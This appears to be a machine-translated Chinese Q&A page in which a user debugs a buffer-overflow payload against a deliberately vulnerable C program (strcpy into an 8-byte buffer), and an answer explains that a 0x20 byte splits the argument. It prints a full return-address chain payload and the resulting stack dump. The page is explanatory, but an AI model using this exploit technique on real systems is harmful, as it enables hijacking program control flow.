如果通过strcpy()获取用户输入,用户输入是否会在空间或空字符之外复制到堆栈上

问题描述 投票:-3回答:1

我在这里有一个非常基本的疑问。

请考虑以下示例C程序在Ubuntu 32位小端机器上运行。

#include <string.h>
#include <unistd.h>
int main (int argc, char **argv)
{
    char buf [8];
    strcpy(buf, argv[1]);
    system("/usr/bin/false");
}

现在我了解上述代码的安全含义。让我们暂时搁置一下。

在上面的代码中,buf是一个局部变量。这意味着此缓冲区的空间将位于堆栈上。现在我们使用strcpy()将用户输入复制到缓冲区。用户输入本身是在命令行上获取的。

现在说程序是用gdb运行的:

gdb program

现在,如果用户输入给了程序,则从gdb提示符,如下:

运行python -c "print 'A'*12 + '\x10\x83\x04\x08' + '\xda\x84\x04\x08' + '\x24\xa0\x04\x08' + '\x62\x81\x04\x08' + '\x10\x83\x04\x08' + '\xda\x84\x04\x08' + '\x25\xa0\x04\x08' + '\xd8\x80\x04\x08' + '\x10\x83\x04\x08' + '\xda\x84\x04\x08' + '\x26\xa0\x04\x08' + '\x13\x85\x04\x08' + '\x20\x83\x04\x08' + 'A'*4 + '\x24\xa0\x04\x08';"

堆栈的内容如下:

(gdb) x/20wx $esp
0xbffff5b0: 0x41414141  0x41414141  0x41414141  0x08048310
0xbffff5c0: 0x080484da  0x0804a024  0x08048162  0x08048310
0xbffff5d0: 0x080484da  0x0804a025  0x080480d8  0x08048310
0xbffff5e0: 0x080484da  0x0804a026  0x08048513  0x08048300
0xbffff5f0: 0x00000000  0x6fb0e3f2  0x53b687e2  0x00000000

在地址0xbffff5e0的极右手边的词是0x08048300。根据给出的输入,它应该是0x08048320

为什么不如预期?令我印象深刻的是,预期的地址0x0804832020结尾,这是一个空格字符。是否有可能因为它是一个空格字符作为输入传递给程序,它被认为是程序的输入结束,因此它根本不会复制任何东西?

python c assembly gdb stack-trace
1个回答
0
投票

你是正确的,strcpy()会在遇到null时停止复制,并且它会在复制的内容中附加一个null。你在这看到的不是那个。 0x20(空格字符)不会影响strcpy(),但它将被C运行时本身用作重要字符。

如你所知,char **argv是一个指向字符数组列表的指针,每个字符数组都代表命令行中的一个参数。即使你正在从Python传递数据并将其表示为十六进制数据,因为它被翻译,你的数据中有一个空格:'\x20\x83\x04\x08'对于C运行时处理参数,这会将0x08048320分解为0x08048300,因为它将查看空间作为分隔符。

为了证明这种情况,请使用python脚本并将字符串输出到stdout而不是管道。

© www.soinside.com 2019 - 2024. All rights reserved.